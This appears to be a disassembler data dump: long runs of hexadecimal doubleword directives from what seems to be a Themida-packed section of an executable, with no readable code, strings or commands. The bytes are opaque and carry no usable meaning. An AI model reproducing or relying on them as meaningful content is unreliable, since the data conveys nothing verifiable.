		dd 925A96D5h, 42CEB25Ch, 11349869h, 63D1566h, 44321566h
		dd 22329869h, 0F8531566h, 8832156Dh, 96E1FC27h,	29D83074h
		dd 0EE362F5Eh, 6C3388D3h, 0C1BFED61h, 25D62EBAh, 113E9E69h
		dd 0C3D1566h, 44321560h, 22329A69h, 0C1CD1566h,	88359969h
		dd 0CF3D1566h, 22321567h, 11B79C9Eh, 0E835FE9Fh, 0B0C09400h
		dd 0A5B0AC00h, 0D7532019h, 6C1E38E3h, 50DB5361h, 0CF321566h
		dd 0C3F7374h, 0AE58B21Eh, 0EEA18CE8h, 0C3AB49F4h, 1EDFE7DEh
		dd 883211E9h, 1F617566h, 86327D07h, 9D3D879Ah, 88321567h
		dd 0D987EA9Eh, 4235F167h, 7029C4E6h, 0B3EE90EBh, 0CD3D1282h
		dd 2232156Dh, 11B31A06h, 0EE321566h, 0BB53D4EDh, 223BFCB6h
		dd 0E60E1566h, 6A37FB87h, 0CD628478h, 0C9CB11E3h, 0AE547561h
		dd 4E53548Bh, 0A01E38E3h, 0A03D5361h, 1132156Fh, 53851A06h
		dd 0E1CAAD00h, 33B01A07h, 0F8321566h, 8832156Ah, 864BBE59h
		dd 0F2026970h, 0DB9C1044h, 5C7D7F0Eh, 443EFC90h, 0D1FD1566h
		dd 14D206C3h, 0FFF29482h, 0BBC7BA52h, 0C63388D3h, 113FFC61h
		dd 0AF681566h, 0ADCC26A9h, 87044D24h, 1E0F115Eh, 883219E0h
		dd 42B01A66h, 2D321566h, 113215E9h, 54B79866h, 4B35F15Dh
		dd 223204EEh, 1ABB1A66h, 61321566h, 44321560h, 8902C8DDh
		dd 0C1CD214Eh, 88339169h, 0CDCB1566h, 0C9CB1DE3h, 1122FC61h
		dd 9C621566h, 0B4527475h, 87671F67h, 4779B4A3h,	0DF42054h
		dd 43D6394Bh, 3AB91A20h, 0F8321566h, 88321575h,	59938ACCh
		dd 87324C82h, 71DF4064h, 9CAB1C2Ah, 2CAE000Ch, 0B6FF4581h
		dd 11389F69h, 8DDB1566h, 3C321566h, 0A2B45F66h,	10AFA099h
		dd 53D1282h, 44321561h,	0F06FAD06h, 9C532040h, 6C09C9E3h
		dd 4434FC61h, 0B7A1566h, 0B4BAD014h, 0EEEA9E06h, 0BCDCF7E7h
		dd 42E2EA07h, 11321B8Eh, 0B8D15B66h, 38EFDA97h,	76A00747h
		dd 91E8482Ah, 96826ADh,	0DC2A5EB9h, 0A7BB747Ah,	16D9ED92h
		dd 0A5B7D393h, 235F14Ah, 223C9C69h, 18DB1566h, 0CF321566h
		dd 84D6ABABh, 807C93D6h, 11339669h, 0E0C71566h,	0F510615Dh
		dd 2232128Fh, 0BD053266h, 0E79E6CCBh, 45AFA099h, 0A03D1282h
		dd 11321571h, 8832078Fh, 34885366h, 1513CECFh, 6DF25590h
		dd 21B655Ch, 0BD299C7Ah, 19EE90EBh, 1BDB1282h, 2C321566h
		dd 63034788h, 7BC3A74Ah, 71E2EA2Dh, 0DBE3A269h,	256DDAD4h
		dd 0DACA90EFh, 18DB128Dh, 7E321566h, 89D3E1E1h,	0E2993DCEh
		dd 3D1F90A0h, 61741282h, 44321575h, 24559E0h, 52EAD969h
		dd 8016D5BEh, 0EBBF943Dh, 4A401E32h, 0CE4BFF8Bh, 88339D69h
		dd 0BBC71566h, 0C63388D3h, 10B41A61h, 7D321566h, 7FEE90EBh
		dd 36DB1282h, 9A321566h, 6484553Ah, 0DF601D63h,	0C5C2C3CEh
		dd 0ECE471Dh, 0E8F5A7D4h, 8A851A9Ah, 2DE2EA07h,	113219E5h
		dd 1A897566h, 2258C394h, 1726F4E7h, 0EDB79C07h,	7D35FE9Eh
		dd 6AEFA8E5h, 2D321282h, 113275E3h, 0DB647566h,	4BDB4B3Eh
		dd 45321566h, 9DE048B2h, 0C62E14ECh, 0BB6BD8FEh, 0E4530FC5h
		dd 0F51E38E3h, 0E0CB4661h, 8A8CF538h, 22339469h, 0EECA1566h
		dd 6C3388D3h, 4FB61A61h, 0CB321566h, 11321560h,	8108D22Bh
		dd 0C1BF59E9h, 25D62EBAh, 1132138Fh, 0BC727F66h, 0BB4B0C50h
		dd 0A7BBEDB6h, 16D9EDFEh, 0A5B7D39Ah, 335F14Ah,	7CB57D9Eh
		dd 0EECBD2D7h, 6C3388D3h, 443FFC61h, 0F1E31566h, 70A59ABCh
		dd 32D2775Ah, 0C98F3D2Ch, 0C609C9E3h, 943DE961h, 88321567h
		dd 4BE2EA9Eh, 223214EFh, 9D3DE966h, 88321567h, 0D8B79C9Ah
		dd 2D35FE9Eh, 113214ECh, 35B1EC66h, 43D63BBBh, 51B71A66h
		dd 0E8321566h, 0E9C59E06h, 681F90A0h, 0CB751282h, 1132156Fh
		dd 0DFFCA161h, 0AE0FF6D7h, 5C377D95h, 7152F304h, 7BB97406h
		dd 0FC544607h, 436914FEh, 10AFA099h, 9ADB1282h,	91321566h
		dd 65412A49h, 0DA61BA64h, 513E1C5Fh, 0BEAD086Ch, 223FFCA1h
		dd 94DF1566h, 0AB43AB36h, 47091B50h, 0AF8C6892h, 0F509C9E3h
		dd 3F3D7561h, 25EB9F9Eh, 0ABCAC599h, 0FACAB5E3h, 0DF4E961h
		dd 43D6394Bh, 2ADBE025h, 4D321566h, 438F953Eh, 2CA0F495h
		dd 0B0481C90h, 11229F69h, 83DB1566h, 64321566h,	2A585C12h
		dd 0D97E6437h, 3DCD9ABBh, 43D614FBh, 22339F69h,	9CCA1566h
		dd 6C09C9E3h, 94CDE061h, 86B79C9Eh, 7135FE9Eh, 914AAB00h
		dd 69B7D307h, 6135F14Ah, 11339D69h, 0E0CB1566h,	0B8138246h
		dd 22349869h, 46521566h, 0E9E19E3Fh, 442B9A69h,	36DB1566h
		dd 0B9321566h, 894959ACh, 0ED928A05h, 17D51F0Dh, 6AAC1B65h
		dd 77F6C6FDh, 0A03388D3h, 0CA52ED61h, 11321575h, 0BFB6D59Eh
		dd 43A52005h, 9B99EAF7h, 0BF34CB3Ch, 0D2831F23h, 98B79807h
		dd 0CB35F15Dh, 1132156Bh, 27819548h, 3675B6BCh,	0B9AB1305h
		dd 0F8E2EA0Fh, 88321575h, 0C37D4CDBh, 0FB9141A1h, 0C965FAD1h
		dd 75366D02h, 0CD515426h, 0C9CABDE3h, 0ACB1E061h, 8FD63BBBh
		dd 6CB71A66h, 0CB321567h, 11321575h, 25180851h,	0CE371331h
		dd 38B2EAE6h, 9836510Eh, 4EC253D5h, 0A01E38E3h,	25DB5661h
		dd 2B321566h, 0BA48FC20h, 475A90B7h, 2DB915CEh,	113214EBh
		dd 3DCDE066h, 43D614FBh, 22229469h, 1ADB1566h, 0E321566h
		dd 0DF66EAD2h, 44131D3Ch, 94BF6C34h, 8FD62EBAh,	4BE2EA9Eh
		dd 22321BEEh, 113BFC66h, 0CAB51566h, 2055BFB0h,	0AB39A34Fh
		dd 0FACAA5E3h, 8821FC61h, 0ADC91566h, 0B465E8A3h, 0B2FD82ABh
		dd 8DD16C8Ch, 0DC608A23h, 223EFCA7h, 7BBD1566h,	327D43B8h
		dd 39694159h, 0A7F426ADh, 16D6394Bh, 38CE7525h,	915A74C1h
		dd 2DD74E50h, 113200E9h, 8822FC66h, 1F821566h, 0E3C1BE0Fh
		dd 7A3480FBh, 8E236B6Fh, 0F1CD42C9h, 25D614FBh,	34F69506h
		dd 88B91A35h, 1F321566h, 0A7BFED07h, 16D62EBAh,	81DAEC06h
		dd 0B6321566h, 88BEE777h, 0EC1EDD53h, 88329769h, 256A1566h
		dd 2D52C599h, 113214E7h, 153E966h, 0AFCAB9E3h, 36B61A61h
		dd 0F8321566h
		db 69h,	15h, 32h
byte_60351B	db 88h			; DATA XREF: Themida_:005851C0o
		dd 3D176E96h, 0EF5E0512h, 4EE91A63h, 4EA8C9D5h,	0A01E38E3h
		dd 4ACB5661h, 0FB982787h, 88321A8Fh, 8229AB66h,	40DC6139h
		dd 7D55378Ch, 0ACA097BCh, 0D987EA9Ah, 0CB35F167h, 11321577h
		dd 0B91D729Dh, 31958C9Ch, 7E6B0D4Ah, 0CBB8A2E8h, 54B79856h
		dd 4B35F15Dh, 223210E7h, 0A63D7566h, 58CD74ADh,	4432138Fh
		dd 0F3093166h, 0F8C67B8Ah, 88321569h, 0B9B6C3B2h, 6F5F06A6h
		dd 5C95344Dh, 1A6C20Bh,	0AFCAA1E3h, 3FBA1A61h, 1E321566h
		dd 883202E2h, 4420FC66h, 0A3721566h, 940F6162h,	0D213A106h
		dd 88F1F890h, 0D59EB44Ah, 3D1F90A0h, 70711282h,	0B59E220Eh
		dd 223AFCE2h, 81B91566h, 7D7021CAh, 0F1CD204Ch,	25D614FBh
		dd 0CDB7989Ah, 7135F15Dh, 0CA3DC599h, 22321567h, 0A9B79C9Ah
		dd 7035FE9Eh, 681F90A0h, 0DB7D1282h, 24A2C10Eh,	3DCDECF1h
		dd 43D614FBh, 2232068Fh, 78B74966h, 3F44F74Bh, 6C48AA64h
		dd 0B52E2D2Bh, 95AB8C02h, 0B3EE90EBh, 4EDB1282h, 6D321566h
		dd 86002DB5h, 5534CA4Ch, 54B61ACBh, 0CB321566h,	1132156Dh
		dd 0B4E98B08h, 3FEB9A5Ah, 0DDE5853Ah, 113EFCB6h, 6D341566h
		dd 4467E276h, 0B5F43627h, 94BBD7F8h, 8FD9EDDAh,	69B7D39Fh
		dd 6D35F14Ah, 1132048Fh, 0D6F47D66h, 0F6701E62h, 6BD08BD1h
		dd 36DE4D5Eh, 8A5A80C7h, 4BCB7B68h, 22321DE3h, 13B51A66h
		dd 0E8321566h, 0D987EA07h, 4235F167h, 9A54D2EDh, 0DBF74BFh
		dd 43D62EBAh, 0DBFD9E06h, 0F8E2EA07h, 88321568h, 0AC08D10Ah
		dd 1EAAF251h, 31ADF62Dh, 0DBBEF01h, 43D9EDA6h, 0FB7D39Ah
		dd 5C35F14Ah, 0F17B7D9Fh, 24CBDD51h, 43CDA269h,	10AFA099h
		dd 9BDB1282h, 0D6321566h, 50C072CEh, 0A6B48E06h, 332BCD74h
		dd 21C6FEC3h, 0A7BF40C3h, 16D62EBAh, 88229469h,	4FDB1566h
		dd 0C1321566h, 8B920FAEh, 0E13024A1h, 94CD5EEAh, 0EAB79C9Eh
		dd 7135FE9Eh, 88321F8Fh, 61DA0D66h, 32DC676Eh, 0A4369220h
		dd 0DF474B8h, 43D6394Bh, 0CCB8752Bh, 11321B8Fh,	0E9388066h
		dd 0C6C0425Fh, 20E961DCh, 70773A1Dh, 7F7F9C0Eh,	4437FCBAh
		dd 86F91566h, 0EE5F7AC2h, 6C3388D3h, 0C9CAEC61h, 0C609C9E3h
		dd 1138FC61h, 19D11566h, 44610345h, 75FE09B9h, 0F952C599h
		dd 88321574h, 7D68C72Dh, 0EFC898BCh, 2A57DFD5h,	7AE55ED6h
		dd 4B6CF964h, 223213EFh, 11B41A66h, 0E9321566h,	0BCF690EFh
		dd 36DB128Dh, 0D2321566h, 7ABFD780h, 4A61036h, 4B9774D8h
		dd 0E14E436Bh, 4E6D564Bh, 0A01E38E3h, 42524061h, 1132068Fh
		dd 0CFCB0266h, 308A569Eh, 12348DA7h, 0DBBE879Ch, 60EFB65Eh
		dd 30ACFFE7h, 0DB536606h, 3C057D07h, 8752897Dh,	443214E1h
		dd 0A954E066h, 0A4CD749Fh, 8FD614FBh, 44359469h, 0AF3D1566h
		dd 11321567h, 54B7989Ah, 2435F15Dh, 0A350D1E6h,	851D0AEh
		dd 58CD7418h, 44321A8Fh, 0A2ABC866h, 66E5E352h,	55721C23h
		dd 0C243BE11h, 0DAFE90EFh, 983D128Dh, 8832156Ah, 44349E69h
		dd 0A43D1566h, 11321566h, 0A41F90A0h, 0AD711282h, 22321574h
		dd 0A201E7C8h, 1627E936h, 0D21A9816h, 0D5CD186Eh, 3B5A2A4Ch
		dd 7DE0C096h, 45AFA099h, 0AFCB1282h, 0F509C9E3h, 883DFC61h
		dd 0BBDF1566h, 5B4F04F1h, 0C771BB3Ah, 0D0833F8Fh, 94CDE059h
		dd 22359769h, 933D1566h, 88321567h, 94B79C9Ah, 0DA35FE9Eh
		dd 3D1F90A0h, 7D601282h, 4432018Fh, 51BAC666h, 8B29A7D8h
		dd 3963DD46h, 35688F33h, 627E9CE1h, 0A5D87DA0h,	80DBE824h
		dd 0F7321566h, 8DF9BCA6h, 0EEE01264h, 6C3388D3h, 4439FC61h
		dd 1A5B1566h, 0B361AD1Eh, 0F4BA2323h, 98B79844h, 0CB35F15Dh
		dd 1132156Fh, 8F67E976h, 0B043FCD9h, 0CBE2EADDh, 1132156Dh
		dd 0B4A59146h, 0B6E2F53Eh, 0AB9AE7D3h, 0F5139CE3h, 40B97561h
		dd 4435FC06h, 50921566h, 0AA6F8A50h, 5357AADFh,	2553271Fh
		dd 0E1F90A0h, 71751282h, 0A2968CDEh, 4AB01A6Bh,	0CA321566h
		dd 1132156Eh, 8C072B8Bh, 498D5EBEh, 0BB5A743Fh,	0F8D08D3Fh
		dd 8832156Dh, 0CFFE250Eh, 334DFB5Dh, 7114C473h,	7EB37306h
		dd 50DA4453h, 75321566h, 0B9EA0E0Eh, 0B36F0A6Bh, 0F6EEDEEEh
		dd 0B9760827h, 4E87470Ch, 8CB61A07h, 22321566h,	4371D3D8h
		dd 10AFA099h, 93D1282h,	4432157Fh, 22219869h, 1FDB1566h
		dd 91321566h, 8EBC4CDCh, 5AC73D14h, 3EA64FA9h, 54B79862h
		dd 0AD35F15Dh, 22321569h, 895EF8CFh, 1E66D9ADh,	109311FAh
		dd 0DDF505B3h, 113DFCB6h, 0A66A1566h, 69E14756h, 8F411852h
		dd 0EC352660h, 5CB79C77h, 4B35FE9Eh, 22320BEEh,	0DB7566h
		dd 2F321566h, 7DA70BD8h, 0A41F5085h, 0B84ABA87h, 95A1EFF5h
		dd 44329469h, 0E4531566h, 0F51E38E3h, 86DB5261h, 26321566h
		dd 7CED67CDh, 0E3FD1585h, 0EF2BF94Ch, 57B51A0Bh, 0CB321566h
		dd 11321568h, 0D173C3EDh, 501B979Dh, 859883DCh,	0D35ADCEAh
		dd 7483E806h, 45AFA099h, 2DDB1282h, 60321566h, 167DEF31h
		dd 2D9C77ACh, 0A7C80066h, 94BFDC01h, 8FD62EBAh,	4432078Fh
		dd 7A202266h, 56323E00h, 0E6EC276Fh, 2DA04C90h,	0DDC43F5Ah
		dd 19BC1AB6h, 87321566h, 443217E4h, 0AB537566h,	0FACACDE3h
		dd 80B51A61h, 4B321566h, 223217E4h, 0D7537566h,	6C1E38E3h
		dd 2CCB5261h, 0FD94EB72h, 1132018Fh, 0CC215C66h, 7951AA27h
		dd 0E4D7B10Ch, 29491097h, 2855236Ch, 4423FC07h,	7BA61566h
		dd 0F03800B6h, 0DE2EBC6Dh, 75C6C2ABh, 0DD4DA0D7h, 0F53388D3h
		dd 8822FC61h, 1F0C1566h, 9FD73049h, 0BC8F4F78h,	19EB7046h
		dd 4ADB70BFh, 0E321566h, 124D45CAh, 61E07DFEh, 7822F168h
		dd 0FEB79865h, 0E935F15Dh, 73D7506h, 44321566h,	0F62CAF00h
		dd 1126FC07h, 714A1566h, 0AF003194h, 0F64984ADh, 0FD0845E7h
		dd 5CB26C6Fh, 0BB53D812h, 2226FCB6h, 1CCC1566h,	0E54158C3h
		dd 0ECE445CBh, 7B5642EDh, 0CC0AE1E6h, 0EE527AD9h, 0E1ABCCE7h
		dd 2232188Eh, 0F97E66h,	0C955982Fh, 735FB89Eh, 43527BB4h
		dd 94BB7438h, 8FD9EDBAh, 44B21A06h, 43321566h, 3D1F90A0h
		dd 876D1282h, 443214E1h, 4A5AE066h, 1EAC4594h, 88321AE3h
		dd 42DB7566h, 0E6321566h, 0C25B66EFh, 0E9537534h, 45AFA099h
		dd 0AD3D1282h, 11321567h, 54B7989Fh, 0BC35F15Dh, 4452C599h
		dd 0AE3F69DEh, 0E8488D7Ch, 0A4B79C07h, 0CB35FE9Eh, 11321577h
		dd 474307E0h, 6D233E3Bh, 1858863Fh, 1852C538h, 0A5B7D333h
		dd 0B35F14Ah, 22321F8Fh, 4F36D666h, 0D194D41Ch,	0ADD2CE04h
		dd 22321577h, 5BC58A36h, 0DD7ED985h, 3CD032F1h,	0E7CFC684h
		dd 6A0D7DEFh, 63DD29Ah,	4432156Ch, 0A3CAA306h, 4FDB3196h
		dd 3DCD7476h, 43D614FBh, 223CFC93h, 572E1566h, 91990A8Dh
		dd 955C4642h, 49080C4Fh, 2AEE90EBh, 36521282h, 65AAE612h
		dd 7D537530h, 8B11A07h,	61321566h, 44321572h, 0DD396AEEh
		dd 5400B03h, 69CCEE13h,	0EE4312D1h, 0F0F560DEh,	963DC599h
		dd 88321571h, 4432078Fh, 0AACA6366h, 0D1234598h, 0F669E81h
		dd 6E5CDFD4h, 0AB5FF836h, 0FACB19E3h, 0EE52E961h, 253B67DEh
		dd 0E1F90A0h, 71751282h, 88349969h, 0CF3D1566h,	22321566h
		dd 11321F8Fh, 3EC7B366h, 670C26E9h, 4385C0B3h, 0A3C99E06h
		dd 0C45A747Ch, 0BCC84E08h, 23AFA099h, 9CC71282h, 6C09C9E3h
		dd 4422FC61h, 85FD1566h, 0E7E0BAFDh, 8CB9393h, 5DAA2F32h
		dd 0F2CD579Dh, 11349869h, 3521566h, 25EB9EA9h, 0DB2290EFh
		dd 9F3D128Dh, 8832156Eh
		dd 44309F69h, 43521566h, 3D1F90A0h, 0E8751282h,	0FC288EDFh
		dd 3AC6952Ah, 35FF7D07h, 77C7D660h, 0A03388D3h,	0DECB7561h
		dd 0CDB79807h, 6135F15Dh, 4432156Dh, 0C6B3354Fh, 67D1C1EBh
		dd 777EA490h, 48B01AB6h, 42321566h, 0D4BDAE00h,	88329169h
		dd 0CD531566h, 0C9CB01E3h, 10B91A61h, 70321566h, 681F90A0h
		dd 426D1282h, 58887306h, 498D1A81h, 4435FD07h, 0D4021566h
		dd 0DF828DDDh, 883CFDFDh, 66651566h, 4A7A834h, 9B651481h
		dd 6A7401Ch, 2C534B39h,	0F68975AAh, 113B9569h, 2521566h
		dd 0E887ACA7h, 0DD536269h, 0F53388D3h, 0DBFED61h, 43D62EBAh
		dd 0D7E2EA9Eh, 0E9D690EFh, 4ECE128Dh, 0A01E38E3h, 0AD3D4A61h
		dd 1132157Dh, 3CFD9506h, 4432058Eh, 18525E66h, 9A485DFAh
		dd 45C6069Fh, 3220C81Bh, 4A534B01h, 8FDB4128h, 63FA9406h
		dd 0F7383A57h, 97CD74DBh, 16D614FBh, 88389269h,	24521566h
		dd 0B1C39407h, 7030DFF8h, 88219D69h, 4ADB1566h,	32321566h
		dd 0D3F3EBBDh, 0B922DA68h, 0D708E473h, 0FEB7983Bh, 0F835F15Dh
		dd 88321560h, 87AB0BFCh, 0F2CD55BEh, 0D2B84406h, 1CA7439h
		dd 0AFCAFDE3h, 2223FC61h, 0E6A21566h, 990644B3h, 0E62C001Ah
		dd 0E0F8EBC4h, 0D76F726Fh, 6C1E38E3h, 24524A61h, 22321D8Fh
		dd 223EEE66h, 136B3443h, 0BEB9734Fh, 43E49E07h,	21A5D0Eh
		dd 8820FCB7h, 3CDF1566h, 20D39671h, 6387675Fh, 0A1DF419Fh
		dd 0E14A2E0Bh, 2222FC06h, 1D261566h, 86A5239Ch,	0B77ACEECh
		dd 0C1C3E9AAh, 0EE53409Bh, 6C3388D3h, 443AFC61h, 0C3231566h
		dd 93DE5026h, 0DBF8182h, 43D62EBAh, 223BFC06h, 0DDC71566h
		dd 0D0B195B8h, 22ADB437h, 437EF5D9h, 0F852C599h, 8832156Fh
		dd 464001C7h, 0F745F20Ah, 18DB46B7h, 37321566h,	74C9226Ah
		dd 53D0E3BFh, 94BB743Ch, 8FD9ED8Ah, 4B367F9Ah, 223201E2h
		dd 113DFC66h, 0B8381566h, 0CB3C9758h, 0C5CE6F1Dh, 1747B461h
		dd 98327D2Dh, 2CCA1566h, 22320566h, 11269269h, 83D1566h
		dd 44321568h, 22321C8Fh, 0AE8B2366h, 0C653E4Dh,	44586C4Ah
		dd 53A7EA9Ah, 1E35F17Fh, 883200E0h, 4422FC66h, 0D13E1566h
		dd 7080A936h, 6A344FB7h, 0C9FDB407h, 0A7BBED7Bh, 16D61B5Fh
		dd 8832078Fh, 1D026E66h, 0F7EFABE2h, 0C991D089h, 0FB917346h
		dd 24849F8Dh, 22321D8Fh, 0BA864766h, 641CD7Ah, 0C953E99Ah
		dd 0C9955FE3h, 113EFC61h, 79371566h, 3288E1ECh,	27FD3C19h
		dd 0EECA47EFh, 4A8375B6h, 4432058Fh, 6DFB2566h,	85C23811h
		dd 0A6CA792Bh, 24A1376h, 0AD3D74D9h, 11321567h,	74367F9Ah
		dd 4422150Eh, 0D0B27566h, 3857AE97h, 715308CFh,	4412150Eh
		dd 0A13D7566h, 11321562h, 0D2FDAD00h, 0BD327F07h, 3B438099h
		dd 0F9521282h, 88321572h, 0A2B8AE9Eh, 0F886161Dh, 0A243BB5Ch
		dd 321301A8h, 49269F77h, 0A86C4A37h, 94BB74A5h,	8FD60E8Fh
		dd 4432078Fh, 87E1FF66h, 5BE437D5h, 963E6DFAh, 0ACD6737Dh
		dd 0AB5F4857h, 0F50118E3h, 0C858EC61h, 0A9897306h, 0E2A3AB7Fh
		dd 79534190h, 88320566h, 4438FC06h, 55CF1566h, 5F32492Dh
		dd 0A7339A12h, 99DD9400h, 225A742Dh, 1E321466h,	883214E4h
		dd 4458E966h, 0C38C4606h, 4E35612Ch, 2BBD9DD8h,	2252742Bh
		dd 1DAED4E7h, 52887306h, 42B3732Bh, 25539391h, 3B438099h
		dd 16DB1282h, 0E6321566h, 21C2D114h, 0A7BB73CFh, 16D60E3Bh
		dd 6DFD9406h, 4B76C652h, 223215EFh, 0A4B97466h,	8FD61A2Fh
		dd 0DDAF9E93h, 4235F172h, 96F9AFD8h, 0F5D0AD47h, 2453782Ch
		dd 0CCEC9400h, 0CAB37378h, 153CF6Dh, 0A02AFCD3h, 223FFC61h
		dd 0E2E31566h, 45942861h, 1662BCC1h, 0ABA40655h, 0F51F5CFBh
		dd 89BA1A61h, 0BD321566h, 2232018Fh, 0FF851766h, 70AC65h
		dd 156D9CAEh, 7EDC1378h, 0C7D91AF3h, 11AF9E07h,	0AD35F172h
		dd 2232156Fh, 0B302CB1Ah, 71F50792h, 0CF01EA71h, 0E6B3316Ah
		dd 11321562h, 88321B8Fh, 0CD37DA66h, 0A0BF4734h, 0FE8D489Dh
		dd 0BB73069h, 0C03D159Fh, 22322C82h, 11339169h,	0DDCB1566h
		dd 81B3F0EFh, 22321562h, 9636F8E5h, 16E314Ah, 4EDB3162h
		dd 0DC321566h, 2D8BE02Dh, 0AA2D797Ch, 4434FC6Ch, 8B971566h
		dd 0ABE124C0h, 8DD29C36h, 44321562h, 0A536FDE5h, 986E3162h
		dd 0E8CB316Ah, 7553E906h, 223AFCA6h, 0D1AD1566h, 8C4E7F83h
		dd 0C1BBF5E7h, 25D607B7h, 113A9B69h, 33D1566h, 44321564h
		dd 1E5A7406h, 9A321566h, 4CB33152h, 44321562h, 20BA1A06h
		dd 71321566h, 4EB37407h, 205969BAh, 7582FBE7h, 65314163h
		dd 4EB33542h, 103742D6h, 5EEEFBE7h, 77CB710Dh, 0E937E9CBh
		dd 47158949h, 75123122h, 8D1D74D9h, 0D7CA3C41h,	44321B8Fh
		dd 0BE6FD366h, 7AF57193h, 0C1420F5Eh, 0BB5DDDD8h, 16B36D16h
		dd 4B378642h, 31634B46h, 39EB313Ch, 0A37B542Fh,	6E2CD38Fh
		dd 0D1FC243Bh, 17EB9E06h, 42534B9Eh, 0B5A1AB35h, 0E96D2341h
		dd 2D84D3E7h, 0CCB37EBAh, 335374F5h, 0A8166165h, 25A1D3E7h
		dd 0CCB33707h, 7AEE7CD0h, 8835FD06h, 3AF21566h,	72A8BEECh
		dd 37F1945Bh, 0D77DB976h, 0BB5375D7h, 26B30D10h, 9D2EA442h
		dd 0AC0E9E42h, 4436D1E7h, 0CDB31566h, 35BE09D7h, 88359969h
		dd 0C03D1566h, 22321567h, 9A547593h, 35BB74A0h,	43D61153h
		dd 0DAB97306h, 1ECD9007h, 88327CE3h, 4422FC66h,	0BD6F1566h
		dd 687AA45Ch, 0A64FF117h, 1F8992A5h, 3FDA93ECh,	71321506h
		dd 83DBDCD4h, 0A3321566h, 20F32B87h, 0FA15133Fh, 61533A88h
		dd 44321574h, 1E3B9C6Ch, 750C2F2Ch, 0ACB0B9F0h,	7BCD9024h
		dd 3FDBCD65h, 1E321563h, 88320CEEh, 4426FC66h, 4BF81566h
		dd 0E8D5DBE2h, 3423E191h, 2C56DD9Bh, 90302598h,	665A2311h
		dd 1321537h, 13CE316Ah,	0A11601EDh, 0A85211A2h,	0BA1797A7h
		dd 4432128Fh, 934B1D66h, 29BEDABh, 8CE07E07h, 4432018Fh
		dd 1E9AC466h, 0D68529Dh, 99AC915Fh, 0AADAAE40h,	71636F28h
		dd 84BBE9E3h, 8FD63AC7h, 44249569h, 93521566h, 113FFC35h
		dd 84B31566h, 755CAB7h,	0E123B03Fh, 70B79076h, 98DB110Ch
		dd 14321566h, 3A50D1B2h, 0CD3DA5D9h, 4754E1F0h,	4B045C1Eh
		dd 22321DEFh, 13B51A66h, 0E8321566h, 54327D07h,	36DB1566h
		dd 0B9321566h, 997ACCCCh, 7FF069CEh, 0C28D5DA1h, 2C7D057h
		dd 0E8487D16h, 77FD9400h, 24B81A15h, 1E321566h,	883215E1h
		dd 0CD647466h, 26F49480h, 92321566h, 0BCB51188h, 50BB4942h
		dd 2FBE1A42h, 0F8321566h, 8832156Eh, 0F086C95h,	0EF8AC737h
		dd 7752150Ch, 84775DFh,	0B8538284h, 3B438099h, 5DB1282h
		dd 0B1321566h, 0C0154C83h, 0E4F05C9Ah, 3A60EDB6h, 7E1CB39Ah
		dd 0CD3AAC7Fh, 0C61468E3h, 1DB81A61h, 87321566h, 443213ECh
		dd 22BD1A66h, 46321566h, 167D2EFh, 19D89C9Bh, 0D9B97539h
		dd 706BE6E6h, 8839FD06h, 9C241566h, 99ACDB3Bh, 0A68D60C6h
		dd 88B71AE3h, 1E321566h, 3DE89400h, 25CD74EEh, 4CB14C42h
		dd 52B31A62h, 2D321566h, 113205E2h, 8839FC66h, 94271566h
		dd 55138EB7h, 0CB912A39h, 0D664FD59h, 55DB1566h, 6D321566h
		dd 3542EAD6h, 0BE6785Eh, 301B372Ah, 9ACC35A6h, 1EB7A106h
		dd 883217EFh, 25E49E66h, 22709F0Eh, 35069C66h, 85DBB893h
		dd 0E6321566h, 2481DC3Ah, 38FF7D0Fh, 0BCE9836Bh, 905BB763h
		dd 676162Dh, 0B38F4042h, 0A179C10Fh, 4BDB488Eh,	0E7321566h
		dd 0EFD90276h, 729ABA37h
		dd 0E36E15BCh, 0DA03C7F8h, 0E903D257h, 8821FC9Eh, 0D4321566h
		dd 594E22Dh, 37C968ADh,	5362FD1Bh, 0EC740E58h, 3EB9423Dh
		dd 15F69642h, 0C4497D9Ah, 78BB1566h, 223DFC42h,	4671566h
		dd 1B83729Bh, 0F247C4E4h, 0B6951769h, 0E4F2255Ch, 87CF60C8h
		dd 44320CE1h, 2226FC66h, 0ACD81566h, 0AE6F3DBh,	5E38D1DAh
		dd 69DD2E0Ch, 0E8721092h, 99DBC28Ch, 62321566h,	0F0220F3Eh
		dd 0CE444FC7h, 0A0B9FE14h, 0DF97FE72h, 0F8B97306h, 0E0B9E006h
		dd 0BCCD7407h, 80B34B42h, 22321562h, 11249569h,	99DB1566h
		dd 60321566h, 9972A272h, 5E945A14h, 0E74957ECh,	3C6EF6BCh
		dd 98DFAE7h, 0FEB373F5h, 8D3D591Dh, 83B3CA4Fh, 273D591Dh
		dd 3A8DD2E7h, 8EDB73F5h, 12321566h, 33B0467Eh, 0F0BB4444h
		dd 8836D4E7h, 0ADB11566h, 63E9262h, 35269C3Ah, 81874206h
		dd 1353EC39h, 331621E7h, 4B789165h, 8B23AB30h, 0B6035FE2h
		dd 9FB9E938h, 16D61B5Fh, 88B91A06h, 0B1321566h,	0DDCDAC07h
		dd 20CAEA99h, 3361E0A6h, 44321566h, 2E8BFEE7h, 0E2330051h
		dd 848BD6E7h, 47B80051h, 0A954753Dh, 1137FDB9h,	50E41566h
		dd 4BAC407Bh, 223215E8h, 21534F66h, 3C775AEh, 0FB657495h
		dd 5B500C81h, 0F72AD2E7h, 761B93FBh, 70CDE939h,	60694E1h
		dd 199925AEh, 0B1611EDh, 8C0711A2h, 423ABE56h, 11321E8Eh
		dd 0E1E96466h, 88EE384Dh, 18141F1h, 0F8CAF00h, 8AB91A39h
		dd 24321566h, 0CBF37407h, 858D756Eh, 0E957FBCEh, 4B52D457h
		dd 0A354C3D1h, 70CD4486h, 0E0B71A2Ch, 24CDEA99h, 22321B8Fh
		dd 0A4274866h, 0D2CA1D1Dh, 3D380831h, 97AF6DA5h, 9864740Ah
		dd 0D66A43A8h, 22C7759Fh, 7253DFEDh, 0E66B4D37h, 8DDB84B7h
		dd 5A321566h, 2E270FD1h, 4B162199h, 8736D1E5h, 443201E7h
		dd 223DFC66h, 67F81566h, 3EAE1DA9h, 6CE6C146h, 0B50D6671h
		dd 15DE9637h, 331609EFh, 44321566h, 21BBC667h, 0CFB3753Dh
		dd 9CAACC8Dh, 94B2E906h, 0CB5374FAh, 11321576h,	0AEB694A6h
		dd 49F90296h, 0B847B8D6h, 0A872D01Ch, 8836AD36h, 0AEB31566h
		dd 790E2722h, 0D3B3D767h, 0D30E2722h, 45BE1A3Eh, 0DB321566h
		dd 116DF60Eh, 0AC269C66h, 44321F8Fh, 0E5C04F66h, 4DE7ED7Fh
